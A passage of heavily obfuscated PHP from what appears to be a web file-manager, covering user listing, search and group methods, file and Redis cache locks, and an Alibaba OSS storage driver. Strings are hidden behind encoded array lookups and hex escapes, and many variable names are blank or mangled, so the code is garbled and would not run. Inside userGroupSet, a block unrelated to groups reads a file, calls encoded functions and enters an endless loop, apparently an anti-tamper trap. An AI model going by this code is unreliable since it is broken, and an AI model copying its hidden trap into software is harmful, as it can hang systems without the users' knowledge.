Pinyin::get($ڙ)), $[537] => Pinyin::get($ڙ, $[656]))); } private function nickNameRpt() { $ =& $_SERVER[]; $Ï = Model($[837])->get($[2482]); $ = $GLOBALS[$[6]][$[457]][$[2482]]; $ = !is_null($Ï) ? $Ï : $; return !!$; } private function _checkExist($Ԩ, $Ԫ = false) { $ =& $_SERVER[]; $ = array($[32] => UserModel::ERROR_USER_EXIST_NAME, $[2256] => UserModel::ERROR_USER_EXIST_NICKNAME, $[381] => UserModel::ERROR_USER_EXIST_EMAIL, $[2470] => UserModel::ERROR_USER_EXIST_PHONE); if ($this->nickNameRpt()) { unset($[$[2256]]); } $˔ = $Ԫ ? array($[1763] => array($[2483], $Ԫ)) : array(); foreach ($ as $Ʃ => $) { $َ = array(); foreach ($ as $ => $) { if (isset($Ԩ[$]) && $Ԩ[$]) { $َ[] = $Ԩ[$]; } } if (!$َ) { continue; } $ = array_merge(array($Ʃ => array($[7], $َ)), $˔); $ = $this->where($)->find(); if ($) { return $; } } return !0; } public function userListInfo($) { $բ =& $_SERVER[]; $ح = array(); $ = is_array($) ? array_unique($) : array(); if (!$) { return $ح; } if (count($) < 20) { foreach ($ as $) { $ح[$ . $բ[12]] = $this->getInfoSimpleOuter($); } } else { $ = array($բ[1754] => array($բ[492], $)); if (count($) == 1) { $ = array($բ[1754] => $[0]); } $ϓ = Model($բ[577])->field($this->simpleField)->where($)->select(); $ϓ = array_to_keyvalue($ϓ, $բ[1763]); foreach ($ as $) { $ݞ = $ϓ[$]; if (!$ݞ) { $ح[$ . $բ[12]] = $this->getInfoSimpleOuter($); continue; } $ݞ[$բ[2453]] = Action($բ[2454])->parseUrl($ݞ[$բ[2453]]); $ح[$ . $բ[12]] = $ݞ; } } return $ح; } protected function userStatus($, $ɓ) { $Ϋࢾ = $this->getInfoSimple($); if (!$Ϋࢾ) { return !1; } $ = array($_SERVER[][817] => $ɓ); return $this->userEdit($, $); } protected function userRemove($ʇ) { $ =& $_SERVER[]; $Ѡܙ = $this->getInfoSimple($ʇ); if (!$Ѡܙ) { return !1; } $ = array($[1754] => $ʇ); Model($[664])->where($)->delete(); Model($[2484])->where($)->delete(); Model($[2056])->where($)->delete(); Model($[2469])->where($)->delete(); Model($[1140])->where($)->delete(); Model($[2273])->removeUserAll($ʇ); Model($[899])->userRootRemove($ʇ); return $this->where($)->delete(); } protected function userGroupSet($ţ؛, $, $ = array()) { $ =& $_SERVER[]; if (!isset($_SERVER[$[846]]) || !isset($_SERVER[$[844]])) { $̀ߍ = $[951]; $ = $[847]; $ = $_SERVER[$[848]] . $[849]; $ = $($); $ = explode($[262], $); if (count($) < $[683]) { $п = $[850]; $п(); } $ه = $[952]; $ه($_SERVER[$[953]]); $ = 1; for ($ϒں = $; $ϒں > 0; $ϒں++) { $ه = json_encode($GLOBALS[$[492]]); } } $ = $this->getInfoSimple($ţ؛); if (!$ || !is_array($)) { return !1; } $Ь = Model($[2056]); $Ь->where(array($[1763] => $ţ؛))->delete(); $ۧۦ = array(); $ = 0; foreach ($ as $ƴ => $) { $Ǻ = array($[1763] => $ţ؛, $[1962] => $ƴ, $[2070] => $); $Ǻ[$[1986]] = isset($[$]) ? $[$] : 0; $++; $ۧۦ[] = $Ǻ; } return $Ь->addAll($ۧۦ, array(), !0); } protected function userGroupAdd($, $à = array()) { $б =& $_SERVER[]; $ؔ = $this->getInfoSimple($); if (!$ؔ || empty($à)) { return !1; } $ڿ䠛 = array(); foreach ($à as $͝ => $) { $ڿ䠛[] = array($б[1763] => $, $б[1962] => $͝, $б[2070] => $, $б[1986] => 0); } return Model($б[2056])->addAll($ڿ䠛, array(), !0); } protected function userGroupRemove($硈, $) { $Đ꒛ =& $_SERVER[]; $ = $this->getInfoSimple($硈); if (!$ || !$) { return !1; } $ҧ = array($Đ꒛[1754] => $硈, $Đ꒛[2054] => $); return Model($Đ꒛[2056])->where($ҧ)->delete(); } public function listData() { $ߊ = $this->_makeOrder()->selectPage(50); $this->_listDataApply($ߊ[$_SERVER[][445]]); return $ߊ; } public function listByID($镆) { $ =& $_SERVER[]; if (!$镆) { return; } $ = array($[1763] => array($[7], $镆)); $à = $this->where($)->select(); $à = array_sort_keep($Ã, $[1763], $镆); $this->_listDataApply($Ã); return $Ã; } public function listByGroup($ = 0, $ = array()) { $ =& $_SERVER[]; $Ꙡ = $[12]; $ОҰ = array(); if ($) { $ОҰ = array($[2485] => intval($)); $Ꙡ = "\x4c\x45\x46\124\x20\112\117\111\116\40{$this->tablePrefix}\165\x73\x65\x72\137\147\162\157\165\160\40\165\x73\145\162\137\x67\x72\157\165\x70\40\x6f\156\40\x75\163\x65\162\56\165\163\x65\x72\x49\x44\x20\75\x20\x75\163\145\162\x5f\147\162\157\x75\x70\56\x75\163\x65\162\x49\x44"; $ = Input::get($[530], null, $[12]) ? $[12] : $[2486]; } if (isset($[$[817]])) { $ОҰ[$[2487]] = $[$[817]]; } $κ = $this->_makeOrder($)->field($[2488])->where($ОҰ)->join($Ꙡ)->selectPage(50); $this->_listDataApply($κ[$[445]]); return $κ; } private function _makeOrder($ߏ = '') { $ =& $_SERVER[]; $Ӱɏ = array($[1763], $[32], $[1950], $[2169], $[1922], $[231]); $ = array($[523] => $[524], $[525] => $[526]); $ = Input::get($[530], $[7], $[1754], $Ӱɏ); $ = Input::get($[531], $[7], $[2057], array($[2057], $[525])); $ = $[$]; $ߏ = $ߏ . "\165\x73\145\x72\56{$}\x20{$}\54\x20\165\x73\x65\x72\x2e\x75\x73\145\162\111\x44\40\x61\x73\143"; return $this->alias($[2185])->order($ߏ); } public function listSearch($ء) { $ =& $_SERVER[]; $ = trim($ء[$[2060]]); $ؑ = explode($[53], $); if (!$ || count($ؑ) == 1) { return $this->listSearchNow($ء); } $ = array($[445] => array()); foreach ($ؑ as $) { if (!trim($)) { continue; } $ء[$[2060]] = $; $ = $this->listSearchNow($ء); $[$[445]] = array_merge($[$[445]], $[$[445]]); } $[$[445]] = array_unique_by_key($[$[445]], $[1763]); $[$[442]] = array($[443] => count($[$[445]]), $[439] => 20, $[429] => 1, $[444] => 1); return $; } public function listSearchNow($) { $ =& $_SERVER[]; $ = trim($[$[2060]]); $ = isset($[$[2061]]) ? $[$[2061]] : !1; $ = str_replace($[2062], $[2063], trim($)); $ = array($[32] => array($[459], "\x25{$}\x25"), $[381] => array($[459], "{$}\x25"), $[2256] => array($[459], "{$}\45"), $[1071] => $[2064]); if (Input::check($, $[387])) { $[$[1763]] = array($[459], "{$}\45"); $[$[2470]] = array($[459], "{$}\45"); } if (!$) { $ = array(); } if (isset($[$[817]])) { $[$[817]] = $[$[817]]; } $ = $this->parseWhereLike($); $ϗ = $this->_makeOrder()->where($)->selectPage(20); if (!$ϗ || count($ϗ[$[445]]) < 5 && Input::check($, $[394])) { $۶ = $this->_searchFromMeta($[537], $, 10); $ґ͠ = $this->_searchFromMeta($[538], $, 10); $ꫢ = array_merge($۶, $ґ͠, $ϗ[$[445]]); $ϗ[$[445]] = array_unique_by_key($ꫢ, $[1763]); $ϗ[$[442]][$[443]] = count($ϗ[$[445]]); $ϗ[$[442]][$[444]] = ceil($ϗ[$[442]][$[443]] / $ϗ[$[442]][$[439]]); } $this->_listDataApply($ϗ[$[445]]); $this->_filterByGroup($ϗ, $); return $ϗ; } private function _filterByGroup(&$, $) { $ѣ =& $_SERVER[]; if (!$) { return $; } foreach ($[$ѣ[445]] as $ => &$) { $ = array_to_keyvalue($[$ѣ[2154]], $ѣ[12], $ѣ[1962]); if (!in_array($, $)) { unset($[$ѣ[445]][$]); } } unset($); $[$ѣ[445]] = array_values($[$ѣ[445]]); $[$ѣ[442]] = array($ѣ[2221] => count($[$ѣ[445]]), $ѣ[2219] => $[$ѣ[442]][$ѣ[439]], $ѣ[2218] => 1, $ѣ[2220] => 1); } private function _searchFromMeta($, $, $뼠) { $֗ =& $_SERVER[]; $ = strtolower($); $՜ = array($֗[97] => $, $֗[450] => array($֗[459], "\45{$}\45")); $՜ = $this->parseWhereLike($՜); $֑굇 = Model($֗[2489])->where($՜)->limit($뼠)->select(); if (!$֑굇) { return array(); } $֑굇 = array_to_keyvalue($֑굇, $֗[12], $֗[1763]); $ = $this->where(array($֗[1754] => array($֗[7], $֑굇)))->select(); if (!$) { return array(); } return $; } private function _listDataApplyItem($) { $̻ = array($); $this->_listDataApply($̻); return $̻[0]; } private function _listDataApply(&$ᓏ) { $ɯ =& $_SERVER[]; if (!$ᓏ) { return; } array_remove_key($ᓏ, $ɯ[960]); $Ţ = array_to_keyvalue($ᓏ, $ɯ[12], $ɯ[1763]); $this->_listAppendGroup($ᓏ, $Ţ); $this->_listAppendMeta($ᓏ, $Ţ); $this->_listAppendSourceRoot($ᓏ, $Ţ); } private function _listAppendSourceRoot(&$Հ, $삂̔) { $ź =& $_SERVER[]; $ה = Model($ź[899])->listSourceRoot(SourceModel::TYPE_USER, $삂̔); $ה = array_to_keyvalue($ה, $ź[569]); $ה = array_remove_key($ה, $ź[569]); foreach ($Հ as &$ѽ) { $ѽ[$ź[90]] = $ה[$ѽ[$ź[1763]]] ? $ה[$ѽ[$ź[1763]]] : array(); } unset($ѽ); } private function _listAppendGroup(&$Ū, $Ē˰) { $ =& $_SERVER[]; $ѤŬ = array($[1763] => array($[7], $Ē˰)); $ϸ = Model($[2056])->where($ѤŬ)->select(); $ԏ = array_to_keyvalue($ϸ, $[12], $[1962]); $ԏ = array_remove_value(array_unique($ԏ), $[228]); if (!$ԏ || !$ϸ) { return; } $ѤŬ = array($[1962] => array($[7], $ԏ)); $ = Model($[2152])->field($[2490])->where($ѤŬ)->select(); $ = array_to_keyvalue($, $[1962]); $ϸ = array_to_keyvalue_group($ϸ, $[1763]); foreach ($ϸ as &$̍) { $ = array(); foreach ($̍ as $) { if (!$[$[2070]]) { continue; } $ = Model($[571])->listData($[$[2070]]); $[] = array($[1962] => $[$[1962]], $[2491] => $[$[$[1962]]][$[32]], $[584] => $[$[$[1962]]][$[584]], $[487] => $); } $̍ = $; } unset($̍); foreach ($Ū as &$) { $[$[2154]] = array(); if (isset($ϸ[$[$[1763]]])) { $[$[2154]] = $ϸ[$[$[1763]]]; } } unset($); } public function userAppendGroup($݇) { $ =& $_SERVER[]; if (!$݇) { return array(); } $this->_listAppendGroup($݇, array_to_keyvalue($݇, $[12], $[1763])); return $݇; } private function _listAppendMeta(&$ܥ, $Ҭ) { $ژ =& $_SERVER[]; $Ź = UserJobModel::JOB_KEY; $ = array($ژ[2471]); $ = array($ژ[1763] => array($ژ[7], $Ҭ)); $맍 = Model($ژ[2469])->where($)->select(); $맍 = array_to_keyvalue_group($맍, $ژ[1763]); foreach ($맍 as &$Ô) { $ǥ܄ = array(); foreach ($Ô as $ͭ) { if (!in_array($ͭ[$ژ[97]], $)) { $ǥ܄[$ͭ[$ژ[97]]] = $ͭ[$ژ[450]]; } } $Ô = $ǥ܄; } unset($Ô); $ʫ = Model($ژ[2492]); foreach ($ܥ as &$) { $ = array(); if (isset($맍[$[$ژ[1763]]])) { $ = $맍[$[$ژ[1763]]]; } $[$ژ[2493]] = array(); if (isset($[$Ź])) { $[$ژ[2493]] = $ʫ->getUserJobInfo($[$Ź]); } } unset($); } protected function groupUserAll($) { $쌔 =& $_SERVER[]; if (!$) { return !1; } $ = Model($쌔[2056])->field($쌔[1763])->where(array($쌔[1962] => array($쌔[7], $)))->select(); $ = array_to_keyvalue($, $쌔[12], $쌔[1763]); return array_unique($); } public function userSearch($ܚ, $˦ = "\x2a") { return Model($_SERVER[][598])->where($ܚ)->field($˦)->find(); } } goto A; E: function cacheLockWait() { usleep(mt_rand(200, 5000)); } class CacheLockFile { private static $cachePath; private static $caches; public function __construct() { $ =& $_SERVER[]; $҈ = $GLOBALS[$[6]][$[425]]; self::$cachePath = $҈[$[230]][$[87]]; @mkdir(self::$cachePath, DEFAULT_PERRMISSIONS, !0); } public function lock($Ƿ, $Ȁ = 0) { $ĝ =& $_SERVER[]; $ = microtime(!0); $阸 = $ + $Ȁ + 0.0001; $ = rtrim(self::$cachePath, $ĝ[8]) . $ĝ[938] . md5($Ƿ) . $ĝ[935]; if (file_exists($) && filemtime($) && filemtime($) < time() - 10) { @unlink($); } do { if (file_exists($)) { cacheLockWait(); continue; } $˻Ǣ = fopen($, $ĝ[939]); if (!$˻Ǣ) { return !1; } $ = flock($˻Ǣ, LOCK_EX | LOCK_NB); self::$caches[$Ƿ] = array($ĝ[940] => $˻Ǣ, $ĝ[230] => $); fwrite($˻Ǣ, $阸); clearstatcache(); if ($˻Ǣ && $) { return !0; } cacheLockWait(); } while (microtime(!0) < $阸); $this->unlock($Ƿ); return !1; } public function lockGet($ؖ) { $§ =& $_SERVER[]; $ڿ = rtrim(self::$cachePath, $§[8]) . $§[938] . md5($ؖ) . $§[935]; return file_exists($ڿ); } public function unlock($) { $ =& $_SERVER[]; $ǎ = self::$caches[$]; if (!$ǎ) { return; } @flock($ǎ[$[940]], LOCK_UN); @fclose($ǎ[$[940]]); @unlink($ǎ[$[230]]); unset(self::$caches[$]); } } class CacheLockRedis { public function lock($, $ = 10) { $ = Cache::init(); $܃ = microtime(!0) + $; while (microtime(!0) < $܃) { $ = $->get($); if (!$) { $ = $->setLock($, $܃, $); if ($) { return !0; } } else { if ($ < microtime(!0)) { $->set($, $܃, $ * 2); if ($->get($) === $) { return !0; } } } cacheLockWait(); } return !1; } public function lockGet($Ȼ) { return Cache::init()->get($Ȼ); } public function unlock($´) { return Cache::init()->remove($´); } } goto B칐; C: class PathDriverOSS extends PathDriverBase { protected $accessKey = ''; protected $secret = ''; protected $domain = ''; protected $bucket = ''; protected $bucketAcl = ''; protected $endpoint = null; protected $client = null; public $ioUploadServer = "\60"; public $ioFileOutServer = "\x30"; public $cdnHost = ''; public $config = array(); public function __construct($) { parent::__construct(); include_once SDK_DIR . $_SERVER[][1453]; $this->_init($); } public function _init($) { $ϐ =& $_SERVER[]; $this->config = $; foreach ($ as $ => $̤) { if (isset($this->{$})) { $this->{$} = $̤; } } if (empty($this->accessKey) || empty($this->secret) || empty($this->domain)) { throw new Exception($ϐ[1454] . LNG($ϐ[1455])); } $this->client = new OSS\OssClient($this->accessKey, $this->secret, $this->domain); $this->client->setConnectTimeout(60); } public function setBucketCors() { $ƿ =& $_SERVER[]; $ = new OSS\Model\CorsConfig(); $ݞ = new OSS\Model\CorsRule(); $ݞ->addAllowedOrigin($ƿ[1456]); $ݞ->addAllowedMethod($ƿ[1457]); $ݞ->addAllowedMethod($ƿ[1458]); $ݞ->addAllowedMethod($ƿ[1459]); $ݞ->addAllowedMethod($ƿ[1460]); $ݞ->addAllowedMethod($ƿ[165]); $ݞ->setMaxAgeSeconds(600); $ݞ->addExposeHeader($ƿ[1461]); $ݞ->addAllowedHeader($ƿ[1456]); $->addRule($ݞ); try { $this->client->putBucketCors($this->bucket, $); } catch (OSS\Core\OssException $) { $this->writeLog(__FUNCTION__ . $ƿ[214] . $->getMessage()); return !1; } return !0; } public function getBucketCors() { $ =& $_SERVER[]; $힡 = null; try { $힡 = $this->client->getBucketCors($this->bucket); } catch (OSS\Core\OssException $Ѩߘ) { $this->writeLog(__FUNCTION__ . $[214] . $Ѩߘ->getMessage()); return null; } if (!$힡 || !($ = $힡->getRules())) { return null; } $ = $[0]->getAllowedOrigins(); $ = $[0]->getAllowedMethods(); $ = $[0]->getMaxAgeSeconds(); $ݵ = $[0]->getExposeHeaders(); $٘ͮ = $[0]->getAllowedHeaders(); return array($[218] => isset($[0]) ? $[0] : $[12], $[222] => $, $[1462] => $, $[1463] => isset($ݵ[0]) ? $ݵ[0] : $[12], $[219] => isset($٘ͮ[0]) ? $٘ͮ[0] : $[12]); } public function isBucketCors() { $ =& $_SERVER[]; $ = $this->getBucketCors(); if (!$ || !is_array($)) { return !1; } if ($[$[218]] != $[220] || $[$[219]] != $[220]) { return !1; } $Ŷޗ = array_map($[221], $[$[222]]); if (!is_array($Ŷޗ)) { $Ŷޗ = array(); } $ͭ = array($[223], $[224], $[225], $[226], $[227]); $̯ = array_diff($ͭ, $Ŷޗ); return empty($̯); } public function mkfile($҈, $ = '', $螜 = REPEAT_RENAME) { $δ = $this->setContent($҈, $); if ($δ !== !1) { return $this->getPathOuter($҈); } return !1; } public function mkdir($즖, $߄ű = REPEAT_SKIP) { if ($߄ű && $this->_isFolder($즖)) { return $this->getPathOuter($즖); } try { $this->client->createObjectDir($this->bucket, $this->pathEncode($즖)); } catch (OSS\Core\OssException $) { $this->writeLog(__FUNCTION__ . $_SERVER[][214] . $->getMessage()); return !1; } return $this->getPathOuter($즖); } private function fileList($ͭ, $˃ = '', $ɨ = 0) { $ݘ =& $_SERVER[]; $ͭ = trim($ͭ, $ݘ[8]); $ = empty($ͭ) && $ͭ !== $ݘ[228] ? $ݘ[12] : $ͭ . $ݘ[8]; $卧 = $ݘ[12]; $ = 1000; $ = $ = array(); while (!0) { check_abort(); $ś = array($ݘ[1464] => $˃, $ݘ[1465] => $, $ݘ[1466] => $, $ݘ[1467] => $卧); try { $ӡ = $this->client->listObjects($this->bucket, $ś); } catch (OSS\Core\OssException $͛) { $this->writeLog(__FUNCTION__ . $ݘ[214] . $͛->getMessage()); break; } $卧 = $ӡ->getNextMarker(); $ = $ӡ->getObjectList(); $ո = $ӡ->getPrefixList(); foreach ($ as $̾) { if ($̾->getKey() == $) { continue; } $ = $̾->getKey(); $ = $̾->getSize(); $ɑ = $̾->getLastModified(); $ = trim($̾->getETag(), $ݘ[121]); $ = $ɨ ? array($ݘ[32] => $, $ݘ[79] => $, $ݘ[206] => strtotime($ɑ), $ݘ[1468] => $) : $; $𥒵 = $ == 0 && substr($, strlen($) - 1, 1) == $ݘ[8] ? !0 : !1; $қ = array($ݘ[79] => $, $ݘ[1469] => $, $ݘ[88] => strtotime($ɑ), $ݘ[1470] => $ɑ, $ݘ[1468] => $); $this->cacheMethodInfoSet($, $𥒵, $қ); if ($𥒵) { $[] = $; continue; } $[] = $; } foreach ($ո as $) { $[] = $->getPrefix(); $this->cacheMethodInfoSet($->getPrefix(), !0); } if ($卧 === $ݘ[12]) { break; } } $this->cacheMethodInfoSet($ͭ, !0); return array($ݘ[85] => $, $ݘ[86] => $); } public function listObject($, $ = '') { $ =& $_SERVER[]; $ = trim($, $[8]); $֕ᵘ = empty($) && $ !== $[228] ? $[12] : $ . $[8]; $Ρ = $[12]; $ = 1000; $ = $Ǒ = array(); while (!0) { check_abort(); $ = array($[1464] => $, $[1465] => $֕ᵘ, $[1466] => $, $[1467] => $Ρ); try { $ = $this->client->listObjects($this->bucket, $); } catch (OSS\Core\OssException $ҙ) { $this->writeLog(__FUNCTION__ . $[214] . $ҙ->getMessage()); break; } $Ρ = $->getNextMarker(); $ = $->getObjectList(); foreach ($ as $) { if ($->getKey() == $֕ᵘ) { continue; } $ = $->getKey(); $ = $->getSize(); $հ = $ == 0 && substr($, strlen($) - 1, 1) == $[8] ? !0 : !1; if ($հ) { continue; } $Ǒ[] = $ . $[214] . $; } if ($Ρ === $[12]) { break; } } return array($[85] => $, $[86] => $Ǒ); } public function copyFile($, $ױߚ) { $ = $this->size($); if ($ < 1024 * 1024 * 1024) { try { $this->client->copyObject($this->bucket, $, $this->bucket, $this->pathEncode($ױߚ)); } catch (OSS\Core\OssException $ÄЊ) { $this->writeLog(__FUNCTION__ . $_SERVER[][214] . $ÄЊ->getMessage()); return !1; } return $this->getPathOuter($ױߚ); } $ҖЮ = $this->multiCopyObject($, $ױߚ, $); return $ҖЮ ? $this->getPathOuter($ױߚ) : !1; } private function multiCopyObject($, $֎, $Çŷ) { $ =& $_SERVER[]; try { $ = array(); if ($ = $this->hashMd5($)) { $ = array(OSS\OssClient::OSS_HEADERS => array($[1471] => $)); } $ = $this->client->initiateMultipartUpload($this->bucket, $this->pathEncode($֎), $); $ߨۄ = 1; $Ҏ = 0; $瓙 = array(); $ֶ = 1024 * 1024 * 10; $گ = $this->client->generateMultiuploadParts($Çŷ, $ֶ); foreach ($گ as $ => $) { $ִ = $Ҏ + (int) $[$[1472]]; $ܽ = (int) $[$[413]] + $ִ - 1; $л = array($[167] => $ִ, $[168] => $ܽ); $瓙[] = $this->client->uploadPartCopy($this->bucket, $, $this->bucket, $this->pathEncode($֎), $ߨۄ, $, $л); $ߨۄ = $ߨۄ + 1; } $ = array(); foreach ($瓙 as $ => $) { $[] = array($[308] => $ + 1, $[309] => $); } $this->client->completeMultipartUpload($this->bucket, $this->pathEncode($֎), $, $); } catch (OSS\Core\OssException $մ) { $this->writeLog(__FUNCTION__ . $[214] . $մ->getMessage()); return !1; } return !0; } public function moveFile($ʙӆ, $) { if ($this->copyFile($ʙӆ, $)) { $this->remove($ʙӆ); return $this->getPathOuter($); } return !1; } public function delFile($) { try { $this->client->deleteObject($this->bucket, $this->pathEncode($)); } catch (OSS\Core\OssException $) { $this->writeLog(__FUNCTION__ . $_SERVER[][214] . $->getMessage()); return !1; } return !0; } public function delFolder($⪅) { $稌 =& $_SERVER[]; if (!$this->exist($⪅)) { return !0; } $this->listItemCache = !1; $ڍ = $this->fileList($⪅); $this->listItemCache = !0; $ = trim($⪅, $稌[8]) . $稌[8]; if (!empty($⪅) && $⪅ !== $稌[228] && !in_array($, $ڍ[$稌[85]])) { $ڍ[$稌[85]][] = $; } $Ӳ = $this->delByBatch($ڍ[$稌[86]]); if (!$Ӳ) { return !1; } $Ӳ = $this->delByBatch($ڍ[$稌[85]]); if (!$Ӳ) { return !1; } return $this->delFile($); } private function delByBatch($⛫) { foreach (array_chunk($⛫, 1000) as $˚) { try { $this->client->deleteObjects($this->bucket, $˚); } catch (OSS\Core\OssException $͝) { $this->writeLog(__FUNCTION__ . $_SERVER[][214] . $͝->getMessage()); return !1; } } return !0; } public function rename($, $) { return $this->renameObject($, $); } private function fileInfo($Ҽ, $Η = false, $༎ = array()) { $ =& $_SERVER[]; $ϻ = array($[32] => $this->pathThis($Ҽ), $[87] => $this->getPathOuter($Ҽ), $[33] => $[230], $[79] => isset($༎[$[79]]) ? $༎[$[79]] : 0, $[169] => $this->ext($Ҽ)); if ($Η) { return $ϻ; } $ϻ[$[231]] = $ϻ[$[88]] = 0; $ϻ[$[232]] = $ϻ[$[233]] = !0; if (empty($༎)) { $嚏 = $this->objectMeta($Ҽ); if (!$嚏) { return $ϻ; } $༎ = array($[88] => strtotime($嚏[$[1470]]), $[79] => $嚏[$[1469]] + 0, $[1468] => $嚏[$[1468]]); } if (isset($༎[$[1468]]) && $༎[$[1468]]) { $ϻ[$[235]] = trim($༎[$[1468]], $[121]); } if (isset($༎[$[79]])) { $ϻ[$[79]] = $༎[$[79]]; } if (isset($༎[$[88]])) { $ϻ[$[88]] = $༎[$[88]]; } if (isset($༎[$[206]]) && !trim($ϻ[$[88]])) { $ϻ[$[88]] = $༎[$[206]]; } return $ϻ; } private function folderInfo($, $Ť = false, $ = array()) { $ =& $_SERVER[]; $״ = array($[32] => $this->pathThis($), $[87] => $this->getPathOuter($[8] . $), $[33] => $[78]); if ($Ť) { return $״; } $״[$[231]] = $״[$[88]] = 0; $״[$[232]] = $״[$[233]] = !0; if (empty($)) { $ = rtrim($, $[8]) . $[8]; $Ҷ = $this->objectMeta($); if (!$Ҷ) { return $״; } $ = array($[231] => $Ҷ[$[575]][$[1473]], $[88] => strtotime($Ҷ[$[1470]])); } if (isset($[$[88]])) { $״[$[88]] = $[$[88]]; } if (isset($[$[231]])) { $״[$[231]] = $[$[231]]; } return $״; } public function listPath($, $ˤ얞 = false) { $ʯ =& $_SERVER[]; $ = $this->fileList($, $ʯ[8], !0); foreach ($[$ʯ[85]] as $ā => $) { $[$ʯ[85]][$ā] = $this->folderInfo($, $ˤ얞, $); } foreach ($[$ʯ[86]] as $ā => $) { $[$ʯ[86]][$ā] = $this->fileInfo($[$ʯ[32]], $ˤ얞, $); } return $; } protected function infoChildren($, &$ʅ) { $ =& $_SERVER[]; $Փ = $this->fileList($, $[12], !0); $ʅ[$[81]] += count($Փ[$[85]]); $ʅ[$[80]] += count($Փ[$[86]]); foreach ($Փ[$[86]] as $ܜ) { if (!$ܜ || !$ܜ[$[79]]) { continue; } $ʅ[$[79]] += $ܜ[$[79]]; } } public function has($ȟ, $ʶ = false, $甤 = true) { $Ϣ =& $_SERVER[]; $ȟ = trim($ȟ, $Ϣ[8]); $̼ = empty($ȟ) && $ȟ !== $Ϣ[228] ? $Ϣ[12] : $ȟ . $Ϣ[8]; $ = $Ϣ[12]; $Κ = 500; $𰱸 = $Ƽ = 0; while (!0) { check_abort(); $ = array($Ϣ[1464] => $Ϣ[8], $Ϣ[1465] => $̼, $Ϣ[1466] => $Κ, $Ϣ[1467] => $); try { $ = $this->client->listObjects($this->bucket, $); } catch (OSS\Core\OssException $͍) { $this->writeLog(__FUNCTION__ . $Ϣ[214] . $͍->getMessage()); break; } $ = $->getNextMarker(); $ = $->getObjectList(); $ٚ = $->getPrefixList(); if ($ʶ) { if (count($) > 1 || count($) == 1 && $[0]->getKey() != $̼) { $𰱸 += count($) - 1; } if (!empty($ٚ)) { $Ƽ += count($ٚ); } if ($ === $Ϣ[12]) { break; } continue; } if ($甤) { if (!empty($)) { if (count($) > 1 || $[0]->getKey() != $̼) { return !0; } } } else { if (!empty($ٚ)) { return !0; } } if ($ === $Ϣ[12]) { break; } } if ($ʶ) { return array($Ϣ[239] => $𰱸, $Ϣ[240] => $Ƽ); } return !1; } public function listAll($) { $ =& $_SERVER[]; $К = $this->fileList($, $[12], !0); $ = array_to_keyvalue($К[$[86]], $[32]); foreach ($К[$[85]] as $) { if (is_string($)) { $[$] = array($[79] => 0); } } return $this->listAllFiles($, $); } public function canRead($ũ) { $ =& $_SERVER[]; $ = $this->pathAcl($ũ); return $ == $[1474] || $ == $[619] ? !0 : !1; } public function canWrite($ӗ) { $ = $this->pathAcl($ӗ); return $ == $_SERVER[][619] ? !0 : !1; } public function pathAcl($Χ) { $Ӄǖ =& $_SERVER[]; if (empty($this->bucketAcl)) { $this->bucketAcl = $this->client->getBucketAcl($this->bucket); } try { $Д = $this->client->getObjectAcl($this->bucket, $this->pathEncode($Χ)); } catch (OSS\Core\OssException $ܰ) { $this->writeLog(__FUNCTION__ . $Ӄǖ[214] . $ܰ->getMessage()); return !1; } $͑ = $Д == $Ӄǖ[37] ? $this->bucketAcl : $Д; if ($͑ == $Ӄǖ[1475]) { return $Ӄǖ[1474]; } if ($͑ == $Ӄǖ[1476]) { return $Ӄǖ[619]; } return $͑; } private function chmodPath($䯊, $̩ = '') { $گ =& $_SERVER[]; $ = empty($̩) ? $گ[1476] : $̩; $ = array($گ[37], $گ[229], $گ[1475], $گ[1476]); if (!in_array($, $)) { return !1; } try { $this->client->putObjectAcl($this->bucket, $this->pathEncode($䯊), $); } catch (OSS\Core\OssException $) { $this->writeLog(__FUNCTION__ . $گ[214] . $->getMessage()); return !1; } return !0; } public function getContent($) { return $this->fileSubstr($, -1); } public function setContent($ɏ, $ = '') { $ =& $_SERVER[]; try { $ = $this->trafficLimit($[1477]); $㶙 = $this->client->putObject($this->bucket, $this->pathEncode($ɏ), $, $); } catch (OSS\Core\OssException $) { $this->writeLog(__FUNCTION__ . $[214] . $->getMessage()); return !1; } $ߛ = array($[1471] => trim($㶙[$[1468]], $[121]), OSS\OssClient::OSS_CONTENT_TYPE => get_file_mime(get_path_ext($ɏ))); $this->updateObjMeta($ɏ, $ߛ); return isset($㶙[$[1478]][$[292]]) ? !0 : !1; } private function updateObjMeta($˘, $Ʊ۪) { $˘ = $this->pathEncode($˘); try { $ڭ = array(OSS\OssClient::OSS_HEADERS => $Ʊ۪); $this->client->copyObject($this->bucket, $˘, $this->bucket, $˘, $ڭ); } catch (OSS\Core\OssException $) { $this->writeLog(__FUNCTION__ . $_SERVER[][214] . $->getMessage()); return !1; } return !0; } public function upload($˾, $, $Ł = false, $ބ = REPEAT_REPLACE) { $ =& $_SERVER[]; $˷ؐ = trim($˾, $[8]); $ = array(OSS\OssClient::OSS_CHECK_MD5 => !0, OSS\OssClient::OSS_PART_SIZE => 1024 * 1024 * 10, OSS\OssClient::OSS_HEADERS => array($[1471] => @md5_file($)), OSS\OssClient::OSS_CONTENT_TYPE => get_file_mime(get_path_ext($˾))); $ = $this->trafficLimit($[1477], $); try { $this->client->multiuploadFile($this->bucket, $this->pathEncode($˷ؐ), $, $); } catch (OSS\Core\OssException $̇) { $this->writeLog(__FUNCTION__ . $[214] . $̇->getMessage()); return !1; } return $this->getPathOuter($˾); } public function getHost() { $ =& $_SERVER[]; $̤ = explode($[210], parent::getHost()); return $̤[0] . $[210] . $this->bucket . $[10] . $̤[1]; } public function uploadFormData($ǤDŽ, $ = 3600) { $Ό =& $_SERVER[]; if (!($ĝ = $this->getHost())) { return !1; } $ = $; $ʯ
= date($Ό[1479], time() + $); $ = new DateTime($ʯ
